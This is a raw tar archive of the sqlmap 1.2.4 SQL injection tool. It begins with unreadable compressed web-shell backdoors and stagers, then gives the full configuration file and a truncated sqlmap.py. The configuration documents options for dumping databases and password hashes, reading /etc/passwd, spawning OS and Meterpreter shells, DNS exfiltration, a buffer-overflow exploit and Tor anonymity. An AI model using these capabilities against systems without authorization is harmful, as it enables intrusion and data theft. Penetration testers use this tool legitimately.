VìÜу2@N„¿þÁòÉ·ì‹4Ûš½,ÇzA¢šÁM´ØÊðGá4|êká¬SɨZ¹«K*×N NwFBfïtãáxIÍØoúX³š›‡1Âã¾èÝæ6Dº•>Ýî.Ë}r4v"ñåÕü vFIÉÌ?P’øÖ"J2ŒŸHžñZi]¹.›¿!qP“ý~IRøÞ�����������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/backdoors/backdoor.jsp_����������������������������������������������������������0000664�0000000�0000000�00000000547�13260122637�0020542�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œ•’24|No†ïùj 7»‹ç_‚x>°´xpâÝ\»63²¶¥ô¿DÙRŠš,MóÎLYfõ®Át{*$㘿ï&¢3 É¡H£a, ôaì̓,~¾p"ôÁøèé™OQ«VÂWxøÖ pÉ}ÃKO lœ #q™ñ¤˜ÀºjGÑ…àÆXš´.Ã+v‚Î5h¸Wz�¤&Q}ƒTv$yÝÚ·Y¤ÆjEÚÆ v®‘÷§Fï†ǰòø—úô:éÔPýà´ž™Y[– >ð‘ GFeŽ—¿_/,*x‡–À³9x*¼·jMEËžH•8é2,–è°˜) |`ŠD›ÐFûšjNÔ¦ÉN hµ±Ç6'7ù\üÖFãþr«1áRµ+j‚oŒxßvŠ¥é²òUb§'>\€I±û–×Iý×ý¨L8BµôðôÍ@õÄïE���������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/backdoors/backdoor.php_����������������������������������������������������������0000664�0000000�0000000�00000000745�13260122637�0020535�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œ’2‹ÛOo†ÿŠ;R,“…žc ÙÛ-èÇžÒ_kœ¨È’kì[ì�ïØŽHÉa‹Á7¯!ÍÌLšå³B؈ˆ‚°ŸP@Þ!ýÞÄ¢Qã¾öo'JOZfèCÍ× ¯| ôàgßfhè¢,µ¦6Í$yRˆ9÷“s¯‘ Ñö§”žïk°ê¨:ó6šËŠ1 ¶á;ÉF2Pè·qöÌ*#2›SÚZ&÷¡¥‹w­*¦ÄÛÄãX) 4“àBèï C#Æ,Š=xT¦ô´ú²ø£ã¬[ªWÑé¯ÌŽ«ˆœ xáè [Bl#©®êÎÀ F‘šráˆa’_>:l�ò~ê{nÌŽùÀ±@Aˆ”w¬±VðÛÀ„Ñ~ ðŽuè’vz#Ó½<GëŒÆ‚î]’,ñ±ÇÙ�ø$^  ·AíÒŒ„¾€ï¯¯ wL©À_ ØS¶"‚%+qFWÙ·Ål)³î“uCŸaÊóx/ª�ï¾¾¦¸vBíBv÷AcÜñ,9ù¿šóј¶°,Ürn"øq¼FEœ^Ò¢õ~»¯À7¥`òÝŽ“ ZÍ7Ó§ý¤¦âàèž Úôºa8°Væù» -‡W! âVæ—³@¯þ~{õQ ���������������������������sqlmap-1.2.4/shell/stagers/�������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0015574�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/stagers/stager.asp_��������������������������������������������������������������0000664�0000000�0000000�00000002261�13260122637�0017726�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œµ(ÝâGo�AþuË-«;z%(÷/~-|ôq"¡BÈ 1ª}NÅ«°ŽÓDþûd�[±l=·½a_Žóé™ÿ¬ `£vv<Œ¤ÙŽ Fù—·–„£¹ ÏçðE?4Â!wëŽgvG¹ \îàÇåNð»ó‰ÿ¿øl»­z6÷6œ’®—I„~\fÝñšÓ[9!9£ðËA5‚Ð&ïf6¹8·…Äó¤ayž!±žÄ^¬§Ê™ç¨ýIUfÛè™ïÀÉ’Le@DëR Ÿ#(|®’Sq| ˆfrBÇÌÁ”Ž%)øàV½tÎKËG>&Ì„cƒ &ñ¡óŠî¸ÓÁ…æu“îòÕW‰F4]0{ÈÚ|:íà¨è~ 3¥ó>WIáRë¼-ë,qÆ=e‰3^ÐVj¸Ø;rRq /ã(6Ph¿ÙdïȆ0ŸŸÎ>]¡YúÁĨ¨4\ò 瀫ÁÙy²R¬5¾ÉºÉ ép¯ÐÍŒœºÈß’Øà©F&š (8ˆAÀáònMAÂóò±Ò¾l†wçø¸"ˆEÍ6ÿIZº�Ø“#×ÂÊÓÞçž.»Ê8]kù&þL;€tÕV«>ÆÅ»ìQ-¹ó•ýoä­åºY.úàßj|TÚ@Ëèÿj%¡À GmVw£¶’'£Õ}Z­W,íÆîãÕœñéâŽÄ!ÑxÝ“óQ6öR¡A]´ÊÁŽúƒ Ít\tjÃ}âv}‰J}ù¬·~,ù+î·»Ò' +cŒõF€HéÚ {%î FXJ"ÎGÅqegmónG†döJÞU€ñQ•+EÊÜV'ÛFM˜= ºÉƒÔ*“Þ×€Ñj‘ÔÁ‹É Y4ÿIñÿ¸`h{ã‡û¥nP%4N÷]mOB:p £ @á>[œ›æg;°‚{&o˜nts­FöâHBX§0¦öN˜ ²,Bd»¡q‹ú<„µ³®­EýU–& Ít¢À·±ê—¯âk½¯u¢~iôËblµR‹ùÅíÈ,¼_PI^þÛîPº-ý¨£%¿W¾3ÒVàRö›_GZ†ðþÙãêß“§ñ )‹:ÕvZóF}£àHßC*=:¶ÍqÂÁU»šî>ÎvÚå^zlÔžjk©%Ó³£v¬ñG˜â£“T×9A#ŸU\`ÜÖºó·]Òl(82ùü‡.1cS×7gQØÇ[*UX½‡u-óc«¯8E üB’*›`«zÚ úÔ{— `…ª•EYF½®÷&Æe°9.-××öÿCá$wÙN¢5ÌdW«A–¸UÑ7ˆ›³ù¬šåÂ5‡(åôHvÛ¡?i·ˆå)×ó§ùÍ}:tM`íwßYá?”; ø<ñf첈ÓÀø¥î„~p†ýÕOýa킽CX¹*¬�¹‚RIìÓŸF[s[{m dâb-yÎ4Øáe6Â^Š­C‘MÆÐrT8ep2ÆK$í¨ÅªùÔ¢ÝÒO[±¢*ž††cáMŒÁ!ÔEx º4åX^#wÔnDd¶þ|Jë]É�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/stagers/stager.aspx_�������������������������������������������������������������0000664�0000000�0000000�00000001021�13260122637�0020107�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œ…+"ÚOkϯ¸õkJ.· ½¶veR+=¢T‚>šœä}!lÛ³b{=ü÷Ù‰€ ›`ìëøž @œØÿM¥T„vå«Êevø?ü¾çÅE,3eWÚx U12=æ¨I¨7ß|DI‚åð"i‚æ¬À?¤¿OLO8ž£úGÚ_H|µÒOu÷B»Á–oSR]šu°yÃ*}¼UŠðä <dÅøucŠÓm^q>䦯öWš(ãÝ ™/ÆIËíóM_‹zváyA‡ç"Ä ) <¦¢`´¨êK‰ÿMd�dÜ09@‡ã™0Âtd­S»ød¸!S®í ô¹»?¡ñ 2ÿ£XU§Ô¬|mÙä$§}£ hûý»ÜíiÍéyxEn nLÔ-Ñ‹y|-ß!,Yæ¤|G#ìM²J{£†ÒOÁ~·á�òë;Ãô„%$&þJ/b¼¸×wÙ6ÚËàÊÉBe(ìBÍ!<ï&½Ç4¡5=a*é{BÄ-oR÷ ;³ii\Rf~ä™Ù6ë&)…’UÓ ¬Ÿ èééèãÓ‰Ó¾þ"”+ÖÍ@¶1Ž´`§ÊžLQT|r£ ^ ÕÔØ‰*ßwÈ™²Ï/¨ÝR´©s22 ’ä‘­õã;š jþImÕòI­Œ±èc¤j ‹}Á`u–½YäüË_г ³ìêx\� G' ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/stagers/stager.jsp_��������������������������������������������������������������0000664�0000000�0000000�00000002451�13260122637�0017740�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œ•)â9oþî NVÂ[= ªÔã:rÚ ’¦5½ªÇé´ItøºØA?«ûïÙhv[íñ~Û»óòÌL³LDü+檒0G4^&Œü¼È `ÊGËF°j÷^i¬S8þXöÀÂ5Y]üj^l!úÐdÓï€[^Ùä&^’…§98¿Ã’hp‚ËðÔ‡“±‡º¯¼¼Š;mýS’ zTQX&•Q'±t®¥ÌïµÂbÿ#ñ-=¡Ÿy|oäIÈ ‘B–į¶NÏ’¥éýþxøL]ã{9)=sÔÞ*%Á7gG¾�Ä"ãN;לRñtÛðMÇ ] ÃJT²‚ v¾á©;‘¶öè"TtJÐt­™ò­KÖ°«ôÀ;Å>v´B8…È?’¥áh'‘/³ì‘hß³’x펶éWYËÀ³+]„®ÜåÜpÑflå •35Ë'}XS¥™5SRâÓ9<¬hF2h‹IRÏ\ßc’Ö«n û02Ò¯)´ËUUj^¤öR �C"ÉJÒ½ïà‹·ÿ¦ÿtQ«]­­p¼PÞzþˆ6¥K›S>É‘š…7-€-Ìèi¶cƒ%;Ó⊸ÔSÑ4Š!sZ\2‰…Ú”§>õö2ïÓÓ@8/¬ÛH¶bZûeiChSæ>A %½–…¡/×-Qæ§=ô�yýç"K¨”¬.I‘&V5‚îya± ûö§ëûéŸ(è›×çød¨õ›Ë@Ìÿ½aAà†¯g3 ’‡çÚZ¶¨NðC¤º‘ÔRÀi¡>¦• šê Æ”~¢æ¢äx%·ëŸ¹zö‚³¬’ŽÀàp× \ÆÃ)?•ÅÜ—wîÃ†Ë ¶ÀïC,ßCéˆâ¦mMÉ&^¤Ö"OÉæþgËÏà ÅO+¹Èèäqnjã’æ•{‚be4õõ;侊IvF)çrhÞU‹–jgpjq¨'ü½ ll³s,Ú3™ü2¥’ò8 åàÛôÁòDþ¹0‡œ^a˜„¿Tm‰bj8ƒIå®Ò.;îb�¡?0¿,k>d†ÐŸÙCÔoÁ\noîF½,¡'{„æç‰Uʋצ/íXœâ–~Ârð£bwè¡”§ Æ @:ä™™I¥”œO¯ÔÜàìy–£ÔC±öäwp‘§§*o/`0@$ÓÜïÀˆxUÒÖ¼µ¡¡n5ÿ¥³‰þa‰Þ_Ié*öÏÎwªÙw¤ IKØ6µ#-Wf’®Å9õ$ˆ›Ucâé*èIÙö^èMif2½§Ë;JÔTæ&Â1ýmD7ŠˆrRÞÁ+™˜Ã¶ïŽWI¡é¯rÖÆºxñÿ8oñ‘pØû‚_'ª2&¬´$6§Ø±6Â7‚X‹9å¨#¤køXï"1(`�˜ÞøGš´áà ‡¡²'TºÞ‚Ú°Ž†ÉbÔ(7àÛ§$¤~ß-î&âJ¸¾‡Kjè:G _ÿ¡Ž.ÓQðÔ,›˜ÙÉO‘øÚøx«^RêœÝvÃ`™¥Ô#h{ dš™^;þÎù-26có¦ŽûÃÀCe½—:Á f‹')eû8zþ«òS9K³($æ[Ð;ßU/&v¹Ç¥¹J QO Ÿg.£#ƒKlƒÔǸ\Z¸Ù½/šé¯;êƒç”¸àغëÕ¦Y”Æ-+¥ºOîël`õ‡ç)ššÖ  PÞ•¸ñ„¢‡úh‹U/'�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/shell/stagers/stager.php_��������������������������������������������������������������0000664�0000000�0000000�00000000573�13260122637�0017736�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������œ’ï‚?cÆß÷(c8‘=³‚Å©ÕÈW¬©ûÁ;ļtpCÏSÿû1Í.Œ½ØãÏžç¹Pê“SÎ%xk’ç'WíÀ¶aŸSÇõ‘ZS;Ð(Õdnüæ„<�#²Ò1'ª¨÷%dƒ®¤ [Á9麛óà¸Áµ¶cp–ÛÐ÷e-ùa0VÛã ¶ÄWW*å7ÐS¨Á!Ù5ƒ¨*>Uc_‚j ü‰“cHñ�6ý(ØKŠV<ÊåÞàK-ÇGŠf€t¹~šW'×|Ç%ÓŒ,o9=qÏà'ö³³ÜÈõ~r}Š:Ì.q{àKm‡sd´7{É=Qú¥Åju:ê[Íu~UBYwák”ýûÙ ·À&½&`YzI†ƒæNõ­™¿XKÌÀî¬U×û$VñƵ ªq+þ媒z“£àGmŒ`Áz@1Ø÷` uï¼ØT XdÍ( Ǽ ò4Éz‚êp,¯QÊ>1ÌÖhÂnêú�������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/sqlmap.conf����������������������������������������������������������������������������0000664�0000000�0000000�00000047532�13260122637�0015174�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# At least one of these options has to be specified to set the source to # get target URLs from. [Target] # Direct connection to the database. # Examples: # mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = # Target URL. # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 url = # Parse targets from Burp or WebScarab logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) # 'conversations/' folder path logFile = # Scan multiple targets enlisted in a given textual file bulkFile = # Load HTTP request from a file # Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme requestFile = # Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google # dorks see Johnny Long Google Hacking Database at # http://johnny.ihackstuff.com/ghdb.php. # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = # Parse target(s) from remote sitemap(.xml) file. # Example: http://192.168.1.121/sitemap.xml sitemapUrl = # These options can be used to specify how to connect to the target URL. [Request] # Force usage of given HTTP method (e.g. PUT). method = # Data string to be sent through POST. data = # Character used for splitting parameter values. paramDel = # HTTP Cookie header value. cookie = # Character used for splitting cookie values. cookieDel = # File containing cookies in Netscape/wget format. loadCookies = # Ignore Set-Cookie header from response. # Valid: True or False dropSetCookie = False # HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = # Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False # HTTP Host header value. host = # HTTP Referer header. Useful to fake the HTTP Referer header value at # each HTTP request. referer = # Extra HTTP headers headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # HTTP Authentication type. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. # Valid: Basic, Digest, NTLM or PKI authType = # HTTP authentication credentials. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. # Syntax: username:password authCred = # HTTP Authentication PEM private/cert key file. Useful only if the target URL requires # PKI authentication and you have such data. # Syntax: key_file authFile = # Ignore HTTP error code (e.g. 401). # Valid: integer ignoreCode = # Ignore system default proxy settings. # Valid: True or False ignoreProxy = False # Ignore redirection attempts. # Valid: True or False ignoreRedirects = False # Ignore connection timeouts. # Valid: True or False ignoreTimeouts = False # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port proxy = # Proxy authentication credentials. Useful only if the proxy requires # Basic or Digest authentication and you have such data. # Syntax: username:password proxyCred = # Load proxy list from a file proxyFile = # Use Tor anonymity network. # Valid: True or False tor = False # Set Tor proxy port other than default. # Valid: integer # torPort = # Set Tor proxy type. # Valid: HTTP, SOCKS4, SOCKS5 torType = SOCKS5 # Check to see if Tor is used properly. # Valid: True or False checkTor = False # Delay in seconds between each HTTP request. # Valid: float # Default: 0 delay = 0 # Seconds to wait before timeout connection. # Valid: float # Default: 30 timeout = 30 # Maximum number of retries when the HTTP connection timeouts. # Valid: integer # Default: 3 retries = 3 # Randomly change value for the given parameter. rParam = # URL address to visit frequently during testing. # Example: http://192.168.1.121/index.html safeUrl = # POST data to send to a safe URL. # Example: username=admin&password=passw0rd! safePost = # Load safe HTTP request from a file. safeReqFile = # Test requests between two visits to a given safe URL (default 0). # Valid: integer # Default: 0 safeFreq = 0 # Skip URL encoding of payload data # Valid: True or False skipUrlEncode = False # Parameter used to hold anti-CSRF token csrfToken = # URL address to visit to extract anti-CSRF token csrfUrl = # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False # Use HTTP parameter pollution. # Valid: True or False hpp = False # Evaluate provided Python code before the request. # Example: import hashlib;id2=hashlib.md5(id).hexdigest() evalCode = # These options can be used to optimize the performance of sqlmap. [Optimization] # Use all optimization options. # Valid: True or False optimize = False # Predict common queries output. # Valid: True or False predictOutput = False # Use persistent HTTP(s) connections. keepAlive = False # Retrieve page length without actual HTTP response body. # Valid: True or False nullConnection = False # Maximum number of concurrent HTTP(s) requests (handled with Python threads) # to be used in the inference SQL injection attack. # Valid: integer # Default: 1 threads = 1 # These options can be used to specify which parameters to test for, # provide custom injection payloads and optional tampering scripts. [Injection] # Testable parameter(s) comma separated. By default all GET/POST/Cookie # parameters and HTTP User-Agent are tested by sqlmap. testParameter = # Skip testing for given parameter(s). skip = # Skip testing parameters that not appear to be dynamic. # Valid: True or False skipStatic = False # Regexp to exclude parameters from testing (e.g. "ses"). paramExclude = # Force back-end DBMS to this value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, # access, firebird, maxdb, sybase dbms = # DBMS authentication credentials (user:password). Useful if you want to # run SQL statements as another user, the back-end database management # system is PostgreSQL or Microsoft SQL Server and the parameter is # vulnerable by stacked queries SQL injection or you are connecting directly # to the DBMS (-d switch). # Syntax: username:password dbmsCred = # Force back-end DBMS operating system to this value. If this option is # set, the back-end DBMS identification process will be minimized as # needed. # If not set, sqlmap will detect back-end DBMS operating system # automatically by default. # Valid: linux, windows os = # Use big numbers for invalidating values. # Valid: True or False invalidBignum = False # Use logical operations for invalidating values. # Valid: True or False invalidLogical = False # Use random strings for invalidating values. # Valid: True or False invalidString = False # Turn off payload casting mechanism # Valid: True or False noCast = False # Turn off string escaping mechanism # Valid: True or False noEscape = False # Injection payload prefix string. prefix = # Injection payload suffix string. suffix = # Use given script(s) for tampering injection data. tamper = # These options can be used to specify how to parse and compare page # content from HTTP responses when using blind SQL injection technique. [Detection] # Level of tests to perform. # The higher the value is, the higher the number of HTTP(s) requests are # as well as the better chances to detect a tricky SQL injection. # Valid: Integer between 1 and 5 # Default: 1 level = 1 # Risk of tests to perform. # Note: boolean-based blind SQL injection tests with AND are considered # risk 1, with OR are considered risk 3. # Valid: Integer between 1 and 3 # Default: 1 risk = 1 # String to match within the raw response when the query is evaluated to # True, only needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. string = # String to match within the raw response when the query is evaluated to # False, only needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. notString = # Regular expression to match within the raw response when the query is # evaluated to True, only needed if the needed if the page content # dynamically changes at each refresh. # Refer to the user's manual for further details. # Valid: regular expression with Python syntax # (http://www.python.org/doc/2.5.2/lib/re-syntax.html) regexp = # HTTP response code to match when the query is True. # Valid: Integer # Example: 200 (assuming any False statement returns a different response # code) # code = # Compare pages based only on the textual content. # Valid: True or False textOnly = False # Compare pages based only on their titles. # Valid: True or False titles = False # These options can be used to tweak testing of specific SQL injection # techniques. [Techniques] # SQL injection techniques to use. # Valid: a string composed by B, E, U, S, T and Q where: # B: Boolean-based blind SQL injection # E: Error-based SQL injection # U: UNION query SQL injection # S: Stacked queries SQL injection # T: Time-based blind SQL injection # Q: Inline SQL injection # Example: ES (means test for error-based and stacked queries SQL # injection types only) # Default: BEUSTQ (means test for all SQL injection types - recommended) tech = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer # Default: 5 timeSec = 5 # Range of columns to test for # Valid: range of integers # Example: 1-10 uCols = # Character to use for bruteforcing number of columns # Valid: string # Example: NULL uChar = # Table to use in FROM part of UNION query SQL injection # Valid: string # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = # Domain name used for DNS exfiltration attack # Valid: string dnsDomain = # Resulting page URL searched for second-order response # Valid: string secondOrder = [Fingerprint] # Perform an extensive back-end database management system fingerprint # based on various techniques. # Valid: True or False extensiveFp = False # These options can be used to enumerate the back-end database # management system information, structure and data contained in the # tables. Moreover you can run your own SQL statements. [Enumeration] # Retrieve everything # Valid: True or False getAll = False # Retrieve back-end database management system banner. # Valid: True or False getBanner = False # Retrieve back-end database management system current user. # Valid: True or False getCurrentUser = False # Retrieve back-end database management system current database. # Valid: True or False getCurrentDb = False # Retrieve back-end database management system server hostname. # Valid: True or False getHostname = False # Detect if the DBMS current user is DBA. # Valid: True or False isDba = False # Enumerate back-end database management system users. # Valid: True or False getUsers = False # Enumerate back-end database management system users password hashes. # Valid: True or False getPasswordHashes = False # Enumerate back-end database management system users privileges. # Valid: True or False getPrivileges = False # Enumerate back-end database management system users roles. # Valid: True or False getRoles = False # Enumerate back-end database management system databases. # Valid: True or False getDbs = False # Enumerate back-end database management system database tables. # Optional: db # Valid: True or False getTables = False # Enumerate back-end database management system database table columns. # Optional: db, tbl, col # Valid: True or False getColumns = False # Enumerate back-end database management system schema. # Valid: True or False getSchema = False # Retrieve number of entries for table(s). # Valid: True or False getCount = False # Dump back-end database management system database table entries. # Requires: tbl and/or col # Optional: db # Valid: True or False dumpTable = False # Dump all back-end database management system databases tables entries. # Valid: True or False dumpAll = False # Search column(s), table(s) and/or database name(s). # Requires: db, tbl or col # Valid: True or False search = False # Retrieve back-end database management system comments. # Valid: True or False getComments = False # Back-end database management system database to enumerate. db = # Back-end database management system database table(s) to enumerate. tbl = # Back-end database management system database table column(s) to enumerate. col = # Back-end database management system identifiers (database(s), table(s) and column(s)) to not enumerate. exclude = # Pivot column name. pivotColumn = # Use WHERE condition while table dumping (e.g. "id=1"). dumpWhere = # Back-end database management system database user to enumerate. user = # Exclude DBMS system databases when enumerating tables. # Valid: True or False excludeSysDbs = False # First query output entry to retrieve # Valid: integer # Default: 0 (sqlmap will start to retrieve the table dump entries from # first one) limitStart = 0 # Last query output entry to retrieve # Valid: integer # Default: 0 (sqlmap will detect the number of table dump entries and # retrieve them until the last) limitStop = 0 # First query output word character to retrieve # Valid: integer # Default: 0 (sqlmap will enumerate the query output from the first # character) firstChar = 0 # Last query output word character to retrieve # Valid: integer # Default: 0 (sqlmap will enumerate the query output until the last # character) lastChar = 0 # SQL statement to be executed. # Example: SELECT 'foo', 'bar' query = # Prompt for an interactive SQL shell. # Valid: True or False sqlShell = False # Execute SQL statements from given file(s). sqlFile = # These options can be used to run brute force checks. [Brute force] # Check existence of common tables. # Valid: True or False commonTables = False # Check existence of common columns. # Valid: True or False commonColumns = False # These options can be used to create custom user-defined functions. [User-defined function] # Inject custom user-defined functions # Valid: True or False udfInject = False # Local path of the shared library shLib = # These options can be used to access the back-end database management # system underlying file system. [File system] # Read a specific file from the back-end DBMS underlying file system. # Examples: /etc/passwd or C:\boot.ini rFile = # Write a local file to a specific path on the back-end DBMS underlying # file system. # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt wFile = # Back-end DBMS absolute filepath to write the file to. dFile = # These options can be used to access the back-end database management # system underlying operating system. [Takeover] # Execute an operating system command. # Valid: operating system command osCmd = # Prompt for an interactive operating system shell. # Valid: True or False osShell = False # Prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osPwn = False # One click prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osSmb = False # Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored # procedure heap-based buffer overflow (MS09-004) exploitation. # Valid: True or False osBof = False # Database process' user privilege escalation. # Note: Use in conjunction with osPwn, osSmb or osBof. It will force the # payload to be Meterpreter. privEsc = False # Local path where Metasploit Framework is installed. # Valid: file system path msfPath = # Remote absolute path of temporary files directory. # Valid: absolute file system path tmpPath = # These options can be used to access the back-end database management # system Windows registry. [Windows] # Read a Windows registry key value. # Valid: True or False regRead = False # Write a Windows registry key value data. # Valid: True or False regAdd = False # Delete a Windows registry key value. # Valid: True or False regDel = False # Windows registry key. regKey = # Windows registry key value. regVal = # Windows registry key value data. regData = # Windows registry key value type. regType = # These options can be used to set some general working parameters. [General] # Load session from a stored (.sqlite) file # Example: output/www.target.com/session.sqlite sessionFile = # Log all HTTP traffic into a textual file. trafficFile = # Never ask for user input, use the default behaviour. # Valid: True or False batch = False # Result fields having binary values (e.g. "digest"). binaryFields = # Check Internet connection before assessing the target. checkInternet = False # Crawl the website starting from the target URL. # Valid: integer # Default: 0 crawlDepth = 0 # Regexp to exclude pages from crawling (e.g. "logout"). crawlExclude = # Delimiting character used in CSV output. # Default: , csvDel = , # Format of dumped data # Valid: CSV, HTML or SQLITE dumpFormat = CSV # Force character encoding used for data retrieval. encoding = # Retrieve each query output length and calculate the estimated time of # arrival in real time. # Valid: True or False eta = False # Flush session files for current target. # Valid: True or False flushSession = False # Parse and test forms on target URL. # Valid: True or False forms = False # Ignore query results stored in session file. # Valid: True or False freshQueries = False # Use DBMS hex function(s) for data retrieval. # Valid: True or False hexConvert = False # Custom output directory path. outputDir = # Parse and display DBMS error messages from responses. # Valid: True or False parseErrors = False # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) scope = # Select tests by payloads and/or titles (e.g. ROW) testFilter = # Skip tests by payloads and/or titles (e.g. BENCHMARK) testSkip = # Update sqlmap. # Valid: True or False updateAll = False [Miscellaneous] # Run host OS command(s) when SQL injection is found. alert = # Set question answers (e.g. "quit=N,follow=N"). answers = # Beep on question and/or when SQL injection is found. # Valid: True or False beep = False # Offline WAF/IPS/IDS payload detection testing. # Valid: True or False checkPayload = False # Clean up the DBMS from sqlmap specific UDF and tables. # Valid: True or False cleanup = False # Check for missing (non-core) sqlmap dependencies. # Valid: True or False dependencies = False # Disable console output coloring. # Valid: True or False disableColoring = False # Use Google dork results from specified page number. # Valid: integer # Default: 1 googlePage = 1 # Make a thorough testing for a WAF/IPS/IDS protection. # Valid: True or False identifyWaf = False # Imitate smartphone through HTTP User-Agent header. # Valid: True or False mobile = False # Work in offline mode (only use session data) # Valid: True or False offline = False # Skip heuristic detection of WAF/IPS/IDS protection. # Valid: True or False skipWaf = False # Conduct thorough tests only if positive heuristic(s). # Valid: True or False smart = False # Local directory for storing temporary files. tmpDir = # Web server document root directory (e.g. "/var/www"). webRoot = # Simple wizard interface for beginner users. # Valid: True or False wizard = False # Verbosity level. # Valid: integer between 0 and 6 # 0: Show only error and critical messages # 1: Show also warning and info messages # 2: Show also debug messages # 3: Show also payloads injected # 4: Show also HTTP requests # 5: Show also HTTP responses' headers # 6: Show also HTTP responses' page content # Default: 1 verbose = 1 ����������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/sqlmap.py������������������������������������������������������������������������������0000775�0000000�0000000�00000033505�13260122637�0014675�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import sys sys.dont_write_bytecode = True try: __import__("lib.utils.versioncheck") # this has to be the first non-standard import except ImportError: exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details") import bdb import distutils import glob import inspect import json import logging import os import re import shutil import sys import thread import threading import time import traceback import warnings warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) from lib.core.data import logger try: from lib.core.common import banner from lib.core.common import checkIntegrity from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import maskSensitiveData from lib.core.common import openFile from lib.core.common import setPaths from lib.core.common import weAreFrozen from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.common import unhandledExceptionMessage from lib.core.common import MKSTEMP_PREFIX from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException from lib.core.option import initOptions from lib.core.option import init from lib.core.settings import GIT_PAGE from lib.core.settings import IS_WIN from lib.core.settings import LEGAL_DISCLAIMER from lib.core.settings import THREAD_FINALIZATION_TIMEOUT from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VERSION from lib.parse.cmdline import cmdLineParser except KeyboardInterrupt: errMsg = "user aborted" logger.error(errMsg) raise SystemExit def modulePath(): """ This will get us the program's directory, even if we are frozen using py2exe """ try: _ = sys.executable if weAreFrozen() else __file__ except NameError: _ = inspect.getsourcefile(modulePath) return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) def checkEnvironment(): try: os.path.isdir(modulePath()) except UnicodeEncodeError: errMsg = "your system does not properly handle non-ASCII paths. " errMsg += "Please move the sqlmap's directory to the other location" logger.critical(errMsg) raise SystemExit if distutils.version.LooseVersion(VERSION) < distutils.version.LooseVersion("1.0"): errMsg = "your runtime environment (e.g. PYTHONPATH) is " errMsg += "broken. Please make sure that you are not running " errMsg += "newer versions of sqlmap with runtime scripts for older " errMsg += 